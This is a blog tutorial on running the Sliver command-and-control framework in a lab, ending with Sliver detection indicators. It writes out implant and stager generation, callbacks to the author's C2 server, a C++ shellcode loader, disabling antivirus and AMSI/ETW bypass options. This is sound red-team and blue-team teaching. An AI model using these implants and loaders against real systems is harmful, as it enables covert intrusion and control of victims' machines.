Logo root@nayyyr:~/blog#
Writing a Beginner's Guide to Sliver Because the Devs Won't

Writing a Beginner's Guide to Sliver Because the Devs Won't

September 27, 2022
32 min read
Table of Contents
Credit to Aleksi Briclot for the frontmatter art.

Intro

My hands have definitely been a little full lately, but since I got a new laptop recently, I’ve finally been able to dig a little deeper into some of the red team things I’ve been meaning to for a while (read as: I can spawn Windows VMs easily). One of the things I’ve been meaning to figure out recently is my preferred command and control framework, Sliver.

There are a bunch of things that I really like about it, including the frequent updates/developement, the amount of features, and the overall flexibility as everything is in Golang. The biggest issue I have with it is the rather limited documentation. The beginner’s guide has been in TODO since January forever, and I still get very confused with how certain things like staging or pivoting work. I don’t fully blame BishopFox for this; I’m also in the process of getting more comfortable with red team concepts in general, but I do think things could be slightly more descriptive.

This guide is meant to serve as a high-level overview of the basic features one would need to know to effectively use the Sliver C2 in a lab environment where OPSEC doesn’t really matter. Before that, we’ll briefly touch on what C2 actually is, and end up concluding with looking at it from the flip-side and how to detect this.

Beginning Phase: What’s a C2?

Intro to C2

I first heard about “command and control infrastructure” from participating in Cyber 9/12, a cyber-policy event, where they never really explained it and I just thought it was some eldrich magick that made hacking possible. Turns out, it’s a lot simpler than that.

The motivation for a command and control framework (aka C2 Framework) is simple. When an advesary attacks a large network of hundreds or possibly thousands of devices, it is simply infeasible to try and manage 10, 50, or more different shell sessions on compromised hosts. The idea behind C2 is to manage all of those different sessions and provide additional post-exploitation features to make the quality of life for a red teamer better. If you’ve ever used the Metasploit Framework, you’ve technically used a C2 before! It features custom payload generation, various listeners, session management, and additional post exploitation commands, but you probably don’t need to use many of these things if you only use it to run quick exploits.

Here are some well known command and control frameworks (aside from Sliver):

  • Empire - A previously abandoned, open-source C2 brought back to life by BC-Security, heavily based around PowerShell
  • Mythic - An open-source C2 framework heavily focused around collaboration, and allows for individuals to create their own implants in whatever language they choose
  • Cobalt Strike - A closed-source and infamous C2 framework developed by HelpSystems that is well-known for being a goto for real-world attackers (it’s just that good)
  • Brute Ratel - A closed-source “C4” (it’s just marketing) by Chetan Nayak or Paranoid Ninja which has strong networking features

You can read up more about various command and control frameworks in the C2 Matrix, a website that catalogs all of the major C2s, open and closed source, out there right now.

Components

Aside from the C2 server itself, there are two core components you’ll see in almost any C2:

  • Listeners. Like when you run nc -lvnp 1337, listeners are just applications running on the server that are waiting for a connection on a specific port or protocol. You’ll likely hear about HTTP(S) and DNS the most
  • Implants/Agents/Payloads/[Cool_Name]. They go by different names depending on the framework, but these are the actual programs that you run on a target computer to get the remote connection back on your C2 server. They can come in many different forms, such as binaries, shellcode, PowerShell commands, or quite frankly just any type of code execution, but getting these programs to run are the key to taking advantage of the C2.

Most frameworks will also have some kind of staging options, post-exploitation modules, multi-user capabilities, etc., but the core pieces are the two mentioned above. It seems very simple in concept, which it is. The complexity comes in the age old question of “How do you want to do this?“. Depending on the situation, you’ll likely end up asking yourself questions like:

  • What type of payload should I use?
  • Can I get away with X without raising too much suspicion?
  • How do I bypass this AV/EDR product?
  • How do I make sure I don’t burn through all of my prepared evasion techniques?

And this is where a lot of the creativity and complexity in command and control design/usage comes in, which won’t really be covered here. Our goal today is just to understand the basics (and maybe a little bit more), which should be applicable for any other C2.

Installation

There’s a few ways to go about this. Since 99% of the framework is in Golang, you can really run this on any operating system that there’s a release for, and all you need is the client binary and the server binary. As implied earlier, C2 is an example of client-server architecture, meaning we have a central server to handle our requests, and multiple clients interacting with that server.

An in-depth discussion of good red-team architecture is beyond the scope of this blog (but HuskyHacks has spoken on the subject matter many times), so if you’re like me and just using it for personal use, there’s really not much beyond this. If you are running the C2 on a Linux box, you can use the below one-liner to automatically set it up as a service.

curl https://sliver.sh/install|sudo bash

Also, if you don’t already have Metasploit and the MinGW compiler installed, you should do that. This should be as easy as installing the mingw-w64 package on Debian-based Linux or MacOS.

When using Sliver (or any C2 quite frankly), you’ll need to run the server in the background, and use the client to connect to it. If you use the Linux one-liner, this will already be set up for you as a service, so use the appropriate service or systemctl command to start and stop it.

Credit to Aleksi Briclot

Pre-Combat Main Phase: Basic Usage

Generating Implants

Throughout this blog, I will be using a local setup with my Kali VM and a Windows VM on the same network, Sliver being used and installed on the Kali VM.

Suppose, in this fictional scenario, I am attacking this network and am trying to get my first implant down on this Windows host that I already have command execution on. To start, we first need to generate an implant.

I’ll connect to my server by running sliver.

kali@transistor:~/Documents/sliver-test$ sliver
Connecting to localhost:31337 ...
 
    ███████╗██╗     ██╗██╗   ██╗███████╗██████╗
    ██╔════╝██║     ██║██║   ██║██╔════╝██╔══██╗
    ███████╗██║     ██║██║   ██║█████╗  ██████╔╝
    ╚════██║██║     ██║╚██╗ ██╔╝██╔══╝  ██╔══██╗
    ███████║███████╗██║ ╚████╔╝ ███████╗██║  ██║
    ╚══════╝╚══════╝╚═╝  ╚═══╝  ╚══════╝╚═╝  ╚═╝
 
All hackers gain recover
[*] Server v1.5.27 - 11949202b581b843160801a232dc61e1afa39cc1
[*] Welcome to the sliver shell, please type 'help' for options
 
sliver > 

You can prepend help to any command to list further options, and I highly encourage you to read up on all of the different options here. However, for the sake of simplicity, we will generate the simplest of implants, which will use the HTTP protocol for a callback.

Note: Sliver (1.5+) has two types of implants, beacons and sessions. Beacons will check in with your server every now and then to see if you’ve told them to do something, and then executes and returns the results. An implant in session mode is a real-time session that is more like a reverse shell. Implants compiled for session mode cannot switch to being beacons, but you can have beacons open up interactive sessions if need be.

sliver > generate beacon --http 10.10.69.24 --save .
 
[*] Generating new windows/amd64 beacon implant binary (1m0s)
[*] Symbol obfuscation is enabled
[*] Build completed in 00:01:05
[*] Implant saved to /home/kali/Documents/sliver-test/DIFFICULT_DYNAMO.exe

From here, I can run an SMB server on my local machine using impacket to transfer it to the remote Windows machine.

kali@transistor:~/Documents/sliver-test$ smbserver.py kali . -smb2support -username anon -password anon
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation
 
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

And on the Windows machine…

PS C:\Users\sreisz\Desktop\the-lab\sliver-test> net use \\10.10.69.24\kali /USER:anon anon
The command completed successfully.
 
PS C:\Users\sreisz\Desktop\the-lab\sliver-test> copy \\10.10.69.24\kali\DIFFICULT_DYNAMO.exe .
copy : Operation did not complete successfully because the file contains a virus or potentially unwanted software.
At line:1 char:1
+ copy \\10.10.69.24\kali\DIFFICULT_DYNAMO.exe .
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [Copy-Item], IOException
    + FullyQualifiedErrorId : System.IO.IOException,Microsoft.PowerShell.Commands.CopyItemCommand

Yep. Sliver has only been getting popular by the day, and its signatures are in Microsoft Defender’s database. An in-depth discussion of evasion techniques is outside the scope of this blog post, so we’ll just disable antivirus for now and try again.

Listeners

Once we’ve taken care of that, all we have to do is set up a listener on our client. In other C2 frameworks, such as Covenant and Empire, this is a little more involved, but here we can just run http in our shell to start it up. However, http is not the only listener, and it’s not even the recommended one. Here’s a brief description of what the other listeners are for.

  • http/https - for communication over the HTTP(S) protocol, pretty standard across any C2
    • You can also use the websites command to stage a fake website on the listener port so it looks more legit if someone tries to look at your listener.
  • mtls - communication using mutual-TLS, a protocol in which both the implant and the server present a certificate that the other must validate. If one certificate fails, the connection does not happen.
    • Note that Sliver does hardcode the TLS configuration so that’s something to think about for OPSEC
  • wg - communication using WireGuard, which essentially creates a lightweight VPN to communicate over. This is also a highly recommended option by the devs, but if you want to learn more about this, I think this discussion answers most questions
  • dns - definitely one of the more finnicky options where you leverage a domain that you control to transmit data over. This is all UDP and I don’t really recommend it for beginners.

Each of these have their own set of options and capabilities that the wiki/source code can explain much better than I ever could.

Since our beacon was only configured to have an http callback, we can run http in our shell and then execute the beacon on the remote Windows computer.

sliver > http
 
[*] Starting HTTP :80 listener ...
[*] Successfully started job #1
 
[*] Beacon 32ca60f5 DIFFICULT_DYNAMO - 10.10.69.19:50006 (DESKTOP-1AGTDPB) - windows/amd64 - Sun, 25 Sep 2022 00:33:36 EDT

slifer Oh wait you said “Sliver”? Ah, wrong game, my bad.

Combat Phase: Interacting with the Target

Beacons

Now that we have a beacon on the target, what can we do with it? We can list the current beacons we have using the beacons command.

sliver > beacons 
 
 ID         Name               Tasks   Transport   Remote Address      Hostname          Username   Operating System   Locale   Last Check-In                            Next Check-In                         
========== ================== ======= =========== =================== ================= ========== ================== ======== ======================================== =======================================
 32ca60f5   DIFFICULT_DYNAMO   0/0     http(s)     10.10.69.19:50006   DESKTOP-1AGTDPB   sreisz     windows/amd64      en-US    Sun Sep 25 00:35:48 EDT 2022 (49s ago)   Sun Sep 25 00:36:56 EDT 2022 (in 19s) 

Recall that beacons are different from sessions in that they will periodically check in about every minute or so by default. From an OPSEC perspective, this is better because it doesn’t look like a reverse shell, which is a continuous connection. I also say that a beacon checks in every minute or so because of jitter. Jitter is essentially making the check-ins more irregular, making it so that the beacon is not checking in at exactly every 60 seconds, because that would also be suspicious.

Tangent aside, we can interact with our beacon with the use command, followed by the ID of the beacon, which we can use the Tab key for auto fill.

sliver > use 32ca60f5-7004-4cad-a433-55e34aeaff04
 
[*] Active beacon DIFFICULT_DYNAMO (32ca60f5-7004-4cad-a433-55e34aeaff04)

The help command here shows us a lot of commands we can use. We’re still not in an actual shell (and if we were on a real engagement we might not ever want to enter a full shell), so we don’t have access to every Windows command under the sun, but there’s a lot already out there for us to do.

We can start with the most basic command: ls.

sliver (DIFFICULT_DYNAMO) > ls
 
[*] Tasked beacon DIFFICULT_DYNAMO (db8b4d25)

You’ll notice we did not get a response immediately. This is because any commands we send are actually tasks that are put into a queue, and recieved everytime the beacon checks in. Just wait about a minute, and we see:

[+] DIFFICULT_DYNAMO completed task f8d51379
 
C:\Users\sreisz\Desktop\the-lab\sliver-test (3 items, 15.4 MiB)
===============================================================
-rw-rw-rw-  DIFFICULT_DYNAMO.exe  15.4 MiB  Sat Sep 24 21:31:53 -0700 2022
-rw-rw-rw-  password.txt          16 B      Sat Sep 24 21:47:45 -0700 2022
-rw-rw-rw-  secret.txt            37 B      Sat Sep 24 21:48:09 -0700 2022

If you ever forget what the result of a task was, for documentation or you just don’t want to execute another command, you can use tasks to list the things you’ve done so far, and then tasks fetch <id> to fetch the output of a specific task.

sliver (DIFFICULT_DYNAMO) > tasks
 
 ID         State       Message Type   Created                         Sent                            Completed                     
========== =========== ============== =============================== =============================== ===============================
 f8d51379   completed   Ls             Sun, 25 Sep 2022 00:48:15 EDT   Sun, 25 Sep 2022 00:49:10 EDT   Sun, 25 Sep 2022 00:49:10 EDT 
 db8b4d25   completed   Ls             Sun, 25 Sep 2022 00:45:48 EDT   Sun, 25 Sep 2022 00:46:50 EDT   Sun, 25 Sep 2022 00:46:50 EDT 
 
sliver (DIFFICULT_DYNAMO) > tasks fetch f8
 
+------------------------------------------------------+
| Beacon Task   | f8d51379-b01c-4f05-8f77-8a07fcea14e3 |
+---------------+--------------------------------------+
| State         | Completed                         |
| Description   | LsReq                                |
| Created       | Sun, 25 Sep 2022 00:48:15 EDT        |
| Sent          | Sun, 25 Sep 2022 00:49:10 EDT        |
| Completed     | Sun, 25 Sep 2022 00:49:10 EDT        |
| Request Size  | 18 B                                 |
| Response Size | 180 B                                |
+------------------------------------------------------+
 
C:\Users\sreisz\Desktop\the-lab\sliver-test (3 items, 15.4 MiB)
===============================================================
-rw-rw-rw-  DIFFICULT_DYNAMO.exe  15.4 MiB  Sat Sep 24 21:31:53 -0700 2022
-rw-rw-rw-  password.txt          16 B      Sat Sep 24 21:47:45 -0700 2022
-rw-rw-rw-  secret.txt            37 B      Sat Sep 24 21:48:09 -0700 2022

A lot of the commands in a beacon might be familiar if you’ve ever used Meterpreter, so I won’t explain every single possible thing you can do. However, differing from Meterpreter, there are a lot more commands to help simplify some of the things you might need to do as a red teamer.

Sliver - Windows:
=================
  backdoor          Infect a remote file with a sliver shellcode
  dllhijack         Plant a DLL for a hijack scenario
  execute-assembly  Loads and executes a .NET assembly in a child process (Windows Only)
  getprivs          Get current privileges (Windows only)
  getsystem         Spawns a new sliver session as the NT AUTHORITY\SYSTEM user (Windows Only)
  impersonate       Impersonate a logged in user.
  make-token        Create a new Logon Session with the specified credentials
  migrate           Migrate into a remote process
  psexec            Start a sliver service on a remote target
  registry          Windows registry operations
  rev2self          Revert to self: lose stolen Windows token
  runas             Run a new process in the context of the designated user (Windows Only)
  spawndll          Load and execute a Reflective DLL in a remote process

Sessions

To be able to use some of the commands that require a session, we can use interactive to enter session mode.

sliver (DIFFICULT_DYNAMO) > interactive
 
[*] Using beacons active C2 endpoint: https://10.10.69.24
[*] Tasked beacon DIFFICULT_DYNAMO (80902df5)
 
[*] Session 4791259a DIFFICULT_DYNAMO - 10.10.69.19:50057 (DESKTOP-1AGTDPB) - windows/amd64 - Sun, 25 Sep 2022 00:59:52 EDT
 
sliver (DIFFICULT_DYNAMO) > use 4791259a-d94a-4aba-b2cb-c99c86543d2b
 
[*] Active session DIFFICULT_DYNAMO (4791259a-d94a-4aba-b2cb-c99c86543d2b)
 
sliver (DIFFICULT_DYNAMO) >  

You can’t really see it here, but in the UI, the name of the implant is blue when it’s in beacon mode, and red when it’s in session mode. Not only do we now get quicker turnarounds on our tasks, because everything is happening immediately, but we can also use commands like getsystem, portfwd, or shell that require a constant connection. The big downside is that is the beacon process continuously shows up in Task Manager. Ideally, you rename the executable file to svchost.exe or explorer.exe or something less suspicious, but the problem still remains.

Pasted%20image%2020220925003324.png

Other than that, they’re really not that much different than beacons. From a workflow perspective, you’ll almost always default to beacons, then pull out the session if necessary. After all you can only go from beacon to session, not vice versa.

Speaking of which, we can also kill a session to make sure we clean up our steps.

sliver (DIFFICULT_DYNAMO) > sessions -K
 
[!] Lost session 4791259a DIFFICULT_DYNAMO - 10.10.69.19:50057 (DESKTOP-1AGTDPB) - windows/amd64 - Sun, 25 Sep 2022 01:51:13 EDT
[*] Killed DIFFICULT_DYNAMO (4791259a-d94a-4aba-b2cb-c99c86543d2b)

The lowercase -k flag can be used to specify a specific session, I just wanted to get rid of any and all of them.

Profiles

Once you get deep into the weeds of it, typing out entire generation commands can get quite cumbersome and tedious. To make it easier, you can save your favorite configurations to a profile. Suppose I have a regular setup I like using to generate my beacon shellcode. I can use the below command to save it for later

sliver (DIFFICULT_DYNAMO) > profiles new beacon --arch amd64 --os windows --mtls 10.10.10.10:443 -f shellcode --evasion --timeout 300 --seconds 5 --jitter 1 funny_bytes
 
[*] Saved new implant profile (beacon) funny_bytes

Then, to generate this beacon shellcode, I can run a profiles generate

sliver (DIFFICULT_DYNAMO) > profiles generate --save . funny_bytes
 
[*] Generating new windows/amd64 beacon implant binary (5s)
[*] Symbol obfuscation is enabled
[*] Build completed in 00:00:55
? Encode shellcode with shikata ga nai? Yes
[*] Encoding shellcode with shikata ga nai ... success!
[*] Implant saved to /home/kali/Documents/sliver-test/HUNGRY_RUNAWAY.bin

You can also generate session implants in the same way, just omit the beacon part. We can also view what profiles we have saved, and what implants we have generated.

sliver (DIFFICULT_DYNAMO) > profiles
 
 Profile Name   Implant Type   Platform        Command & Control            Debug   Format      Obfuscation   Limitations 
============== ============== =============== ============================ ======= =========== ============= =============
 funny_bytes    beacon         windows/amd64   [1] mtls://10.10.10.10:443   false   SHELLCODE   enabled                   
 
sliver (DIFFICULT_DYNAMO) > implants
 
 Name               Implant Type   OS/Arch             Format   Command & Control            Debug 
================== ============== =============== ============ ============================ =======
 DIFFICULT_DYNAMO   beacon         windows/amd64   EXECUTABLE   [1] https://10.10.69.24      false 
 HUNGRY_RUNAWAY     beacon         windows/amd64    SHELLCODE   [1] mtls://10.10.10.10:443   false 
 PRACTICAL_JELLY    session        windows/amd64   EXECUTABLE   [1] https://192.168.3.6      false 

If at any point you accidentally delete an implant or just need to get an implant back, the regenerate command will create a new one instantly.

sliver (DIFFICULT_DYNAMO) > regenerate DIFFICULT_DYNAMO
 
[*] Implant binary saved to: /home/kali/Documents/sliver-test/DIFFICULT_DYNAMO.exe
Credit: Unit 42

Post-Combat Main Phase: Cool Things

Sliver has a lot to offer, and I’ll cover more of these things in a part 2 to this post, but I thought I’d cover a few things that are not entirely Sliver specific.

Staging

Sliver is written in Golang, a programming language that compiles statically by default. This is different from your typical C executable, which is usually linked to external libraries to import commands from. As such, you’ll notice that Sliver’s generated implants are very large by default. This is because of the use of Golang, which compiles statically, meaning that in addition to the program code, the entire standard library of functions (and any other imported libraries) will get baked into the compiled output. Such is the tradeoff for getting very easy cross-compilation.

kali@transistor:~/Documents/sliver-test$ ls -la
total 28856
drwxr-xr-x 2 kali kali     4096 Sep 25 01:47 .
drwxr-xr-x 9 kali kali     4096 Sep 22 20:35 ..
-rwx------ 1 kali kali 16140288 Sep 25 01:38 DIFFICULT_DYNAMO.exe
-rwx------ 1 kali kali 13394233 Sep 25 01:47 HUNGRY_RUNAWAY.bin

If you’ve ever used Metasploit, you should be familiar with the idea of a staged versus a stageless payload. A stageless payload is a single binary (or any payload) that contains all of the necessary data to connect back to you, and that’s pretty much the end of the story. A staged payload, also commonly referred to as a “dropper”, is a much smaller payload that, when executed, will call back to the C2 server to download and execute the second stage of the payload in-memory, which is where you actually get the beacon to execute. You may think that staged payloads are just strictly better than stageless payloads, and you’re kind of right. But, certain situations call for different needs, and if you’re interested in further reading about the topic, I recommend checking out Spooky aka NaisuBanana’s blog about that (I totally don’t have the same Jekyll theme as them).

Creating a staged payload, as shown in the docs, is a little confusing, so I’ll walk through a different example slowly. Note that as of right now, the only stager format available is in shellcode, the other options they show you are just ways to use the shellcode, there are no oneliners like Covenant or Empire. With that out of the way, we start by creating a new profile for the implant we want to generate.

After multiple hours of troubleshooting, I was unable to have the stage listener work with https, the more secure and responsible thing to be doing. Hopefully I remember to update this blog once I get a better answer as to how that works. Update: Turns out I actually stumbled onto a bug where the wrong msfvenom command was being run. You can see the discussion and the patch for more information about what happened. if i was any faster that could have been a free pr smh

profiles new beacon --arch amd64 --os windows --mtls 10.10.69.24:443 -f shellcode --timeout 300 --seconds 5 --jitter 1 funnier_bytes

Once we’ve created the profile, we start a listener for the initial callback. We specify the profile to tell the server that when you get a callback on this URL, the agent you should send a Sliver (i.e. agent) with the specified profile. We use the --prepend-size since we’re going to be using the Metasploit/msfvenom stager, but if you write your own custom one, you shouldn’t include that flag.

stage-listener --url http://10.10.69.24:8080 --profile funnier_bytes --prepend-size

We then start another listener to catch the stage 2 callback.

mtls --lhost 10.10.69.24 --lport 443

And then we actually generate the stager with the correct parameters.

generate stager -r http --lhost 10.10.69.24 --lport 8080

If you are having unexpected errors here like rpc error: code = Unknown desc = exit status 2, be sure to check the server logs first for troubleshooting. The current version of Sliver requires a fairly recent version of Metasploit, so versioning is something to consider.

We can see the size of this staged payload is remarkably smaller than the stageless binary.

kali@transistor:~/Documents/sliver-test$ ls -la
total 15796
drwxr-xr-x 2 kali kali     4096 Sep 28 00:13 .
drwxr-xr-x 9 kali kali     4096 Sep 22 20:35 ..
-rwx------ 1 kali kali      969 Sep 28 00:13 ALERT_FORUM
-rwx------ 1 kali kali 16140288 Sep 25 01:38 DIFFICULT_DYNAMO.exe
-rw-r--r-- 1 kali kali    20065 Sep 26 00:50 shellcrypt.py

Since I used shellcode, I’ll place it into a simple C++ dropper. This is also a huge benefit of staged payloads, as they’re much easier to work with when developing custom droppers and such. I’m using C++ because it’s the language I first learned when doing malware development with Sektor7 (great courses by the way), but you’re free to insert this into any programming language to your heart’s content. I highly recommend checking out this repo by chvancooten for more info on developing your own loaders and droppers.

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
// change this out for the shellcode you're using!
unsigned char payload[3] = {
	0x90, 0x90, 0xcc
};
unsigned int payload_len = sizeof(payload);
 
int main(void) {
    
	void * exec_mem;
	BOOL rv;
	HANDLE th;
    DWORD oldprotect = 0;
 
	// Allocate a memory buffer for payload
	exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
 
	// Copy payload to new buffer
	RtlMoveMemory(exec_mem, payload, payload_len);
 
	// Make new buffer as executable
	rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
 
	// If VirtualProtect worked, run the payload
	if ( rv != 0 ) {
			th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
			WaitForSingleObject(th, -1);
	}
 
	return 0;
}

We can compile this and also see the smaller binary size.

C:\Users\sreisz\Desktop\the-lab\sliver-test\staged>dir
 Volume in drive C has no label.
 Volume Serial Number is B6DD-3AE4
 
 Directory of C:\Users\sreisz\Desktop\the-lab\sliver-test\staged
 
09/26/2022  07:28 PM    <DIR>          .
09/26/2022  07:28 PM    <DIR>          ..
02/26/2020  10:04 PM               123 compile.bat
09/26/2022  07:32 PM             5,956 implant.cpp
09/26/2022  07:32 PM           129,024 implant.exe
09/26/2022  07:32 PM             4,188 implant.obj
				5 File(s)        140,228 bytes
				2 Dir(s)  34,745,667,584 bytes free 

Running the implant, we get a callback at our C2.

[*] Beacon 800878fa VOICELESS_SKULL - 10.10.69.19:49918 (DESKTOP-1AGTDPB) - windows/amd64 - Wed, 28 Sep 2022 00:16:36 EDT

We can see exactly what this looked like on the network using Wireshark. One of the first packets we should see is an HTTP request to some random looking URL, but probably has a .woff extension in it. asdf

The binary data inside this request is actually the stage 2 payload right there in plain sight! Since our request was done using HTTP instead of HTTPS, anyone eavesdropping or logging this could also probably see this request happening. However, they won’t be able to tell what communication is happening. After scrolling past a lot of repeated ACK packets, we see some TLS packets.

asdf

As we have set up an MTLS listener, where both the client and server must verify each others’ certificates, we have a cryptographic exchange where we do all of this verification, and if successful, all sequential packets will be encrypted and unreadable for anyone without the keys.

If you haven’t already noticed, Sliver uses Metasploit to actually generate and handle the staged payloads. With this, we can not only just use Metasploit directly to create staged payloads, but we can also make custom droppers too, as noted in the wiki, which gives us even more flexibility with how we approach payload design. Here, it’s actually very important considering Metasploit is a tool that’s been fingerprinted for who knows how long, and any usable AV/EDR will catch Metasploit shellcode fairly quickly.

Armory

Introduced in Sliver v1.5, the armory is Sliver’s Alias and Extension package manager which allows you to install tools that other people outside of the core Sliver devs have made. We can see all of the different public packages available just by typing armory.

sliver > armory
 
[*] Fetching 1 armory index(es) ... done!
[*] Fetching package information ... done!
[...trim...]

Obviously, each package plays differently, but we can play around with one of the aliases like sharpsecdump as a demo. We can use armory install <name> to install a specific alias or extension.

sliver > armory install seatbelt
 
[*] Installing alias 'Seatbelt' (v0.0.3) ... done!

Once we’ve installed the alias, we can check the help information from an active session.

sliver (DIFFICULT_DYNAMO) > seatbelt -h
⚠️  If youre having issues passing arguments to the alias please read:
https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions#aliases-command-parsing
 
Usage:
======
  seatbelt [flags] [arguments...]
 
Args:
=====
  arguments  string list    arguments (default: [])
 
Flags:
======
  -M, --amsi-bypass                 Bypass AMSI on Windows (only supported when used with --in-process)
  -d, --app-domain        string    AppDomain name to create for .NET assembly. Generated randomly if not set.
  -a, --arch              string    Assembly target architecture: x86, x64, x84 (x86+x64) (default: x84)
  -c, --class             string    Optional class name (required for .NET DLL)
  -E, --etw-bypass                  Bypass ETW on Windows (only supported when used with --in-process)
  -h, --help                        display help
  -i, --in-process                  Run in the current sliver process
  -m, --method            string    Optional method (a method is required for a .NET DLL)
  -P, --ppid              uint      parent process ID to use when creating the hosting process (Windows only) (default: 0)
  -p, --process           string    Path to process to host the shared object
  -A, --process-arguments string    arguments to pass to the hosting process
  -r, --runtime           string    Runtime to use for running the assembly (only supported when used with --in-process)
  -s, --save                        Save output to disk
  -t, --timeout           int       command timeout in seconds (default: 60)

That warning is a pretty useful read, and I recommend checking it out. When using an alias, pass the Sliver-specific flags first, then use a --, and then proceed to submit any other flags specific to the alias.

sliver (DIFFICULT_DYNAMO) > seatbelt -group=system
error: invalid flag: -group
sliver (DIFFICULT_DYNAMO) > seatbelt -i -- -group=system
 
[*] seatbelt output:
 
Seatbelt v1.1.1
 
====== AMSIProviders ======
 
  GUID                           : {2781761E-28E0-4109-99FE-B9D127C57AFE}
  ProviderPath                   : "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2207.7-0\MpOav.dll"
 
====== AntiVirus ======
 
  Engine                         : Windows Defender
  ProductEXE                     : windowsdefender://
  ReportingEXE                   : %ProgramFiles%\Windows Defender\MsMpeng.exe
[...trim...]

An alias, like seatbelt, is just an abstraction for using sideload or execute-assembly to run a program inside the current process, as opposed to spawning a new child process. Extensions are a little more complicated, as they are shared libraries that get loaded into the Sliver implant, and possibly have additional dependencies.

BOF: Beacon Object Files

The term “Beacon Object File” (BOF) originated from a feature in the well-known Cobalt Strike command and control framework. Quote TrustedSec:

“BOFs allow users to execute code without following Cobalt Strike’s well-defined patterns. Typically, Cobalt Strike will always perform cross-process injection or start cmd.exe / powershell.exe to accomplish its more useful goals […] When a technique is coded using a BOF, you gain the benefit of running code inside of beacon itself and without starting a child process. You also do not have the Indicators of Compromise (IoCs) associated with execute-assembly where you would start your spawn-to process and inject code into it.” Original Blog

Basically (and please correct me if I’m wrong), BOFs allow you to essentially just add additional “functions” and capabilities to your implant without having to compromise OPSEC and fork a process. Sliver implements this through the armory, supported by the COFF Loader extension, so you’ll need to install that first. However, if you install any of the BOFs already available in the armory, the COFF Loader will also be installed anyway.

The usage of the BOFs in the armory is pretty much identical to getting other aliases so I won’t go through that process again. However, if you want to use existing BOFs that are not in the armory, you’ll need to create a manifest.json file to register them as an extension with your client, and the documentation covers this well enough. That being said, there’s already a lot of them in the armory.

alarmobot oh wait wrong game again

Ending Phase: Detection

As fun as the l33t h4x are, it is also necessary to understand some of the indicators that Sliver has. This is beneficial to catch people who are being lazy with their usage of the C2, but also only extends the back and forth between detection and evasion. The ideas discussed here are, for the most part, specifically for Sliver- general C2 operation detection is something that’s suited a lot better for a general malware analysis post or something like that.

The two best references I’ve seen for this are linked here, but I’ll run through some of the things that they say here:

One thing to note here is that a highly sophisticated threat actor or adversary is probably not going to be letting the easy default config stuff slip through. Realistically, it’s more important to understand that there is a C2 in play and taking some malware samples and tooling (typical Pyramid of Pain stuff) that they leave rather than to look at an alert and go “hmm, is this Sliver?” That being said, we all make mistakes, and this is still good information.

shell

One of the first things you might stumble into while using the C2 is if you want to drop into a real shell on the remote host, and you’ll get a prompt like this

sliver (DIFFICULT_DYNAMO) > shell
 
? This action is bad OPSEC, are you an adult?

The C2 is calling you out for good reason. We’ve already talked about the fact that the session itself will be in the currently running processes, but the shell takes it to a new level. If we drop into a shell, then run some commands, and check the Windows Event Viewer, we’ll see an interesting entry.

asdf

The -Command [Console]::OutputEncoding=[Text.UTF8Encoding]::UTF8 (in the event ID 400, 600, or 4104) is actually an indicator for the Sliver implant. However, although this isn’t specific to Sliver, it’ll probably be easier to find this anytime someone runs a whoami or systeminfo from that shell. RastaMouse has a good talk on the subject of OPSEC and how you get caught.

psexec and getsystem

I could have thrown more commands under this header, but the general idea here is that these commands and others are considered core to most major C2 functionality. The exact syntax of the indicators will obviously change from framework to framwork, but many of the indicators of Sliver are well documented in the Microsoft link from before.

In the case of psexec, Sliver achieves the lateral movement using a service binary, similar to how impacket also handles it. In this case, the detection is very similar. By default, Sliver will run the binary from C:\Windows\Temp and give it a randomized 10 character name, so just look for that file path in the logs. Alternatively, if a hacker is especially careless, they’ll probably not change the name and description of the service, which are “Sliver” and “Sliver implant” resplectively. To that note, any mention of Sliver as a string, while not 100% guarantee of a Sliver beacon, should at least raise some suspicions when searching.

getsystem is basically a macro that attempts to inject into another process, spoolsv.exe by default, and abusing the SeDebugPrivilege to get NT AUTHORITY\SYSTEM privileges within that process, pretty much exactly how Meterpreter does it. Sysmon is a great tool for detecting this and I don’t have it installed in my dev machine (nor do I want to being this far into it), but again, a lot of this stuff is already documented. All you have to do is just find the patterns.

Config Extraction

When dealing with an incident response (IR) event, it’s important to be able to get the most information as quickly as possible so that you can take remediation steps quickly. For C2’s, the key to this is attempting to extract the configuration that is stored in the implant. Ippsec has a great video on Malleable Agent Configs and how they might be put together in certain implementations.

An adversary is not going to just leave their config out in the open- that’s just bad practice. Most C2s will encrypt their configurations, and then obfuscate the code itself so static analysis becomes an absolute pain. However, you can’t just use the configuration while it’s encrypted, it has to be decrypted (usually in-memory), and then used. Because this blog post has gone on long enough, however, I will probably save this for a post in the future.

Conclusion

So it turns out C2 is much more complex than I was originally anticipating, so I plan on making a part 2 to this post where I dive into some of the more advanced techniques that Sliver can offer like process hollowing, msf-inject, etc., but I think this is a good enough place to stop. It’s really cool to see some of these huge projects really push the boundaries of what we can already do, whether it’s through automation or presenting some novel idea. Now that I have a new laptop, I’m hoping to be able to explore some of these complex topics I wasn’t able to do as easily before. It also makes you realize how far behind open-source blue team tooling is in comparison, so maybe that’s a blog post for another day.

Follow me @An00bRektn, and feel free to shoot me a DM if you have any questions, comments, or concerns.

Until next time! :D

References

Definitely collected information from all over the place, here are links that were helpful in putting all of this together that I don’t remember linking explicitly in the blog.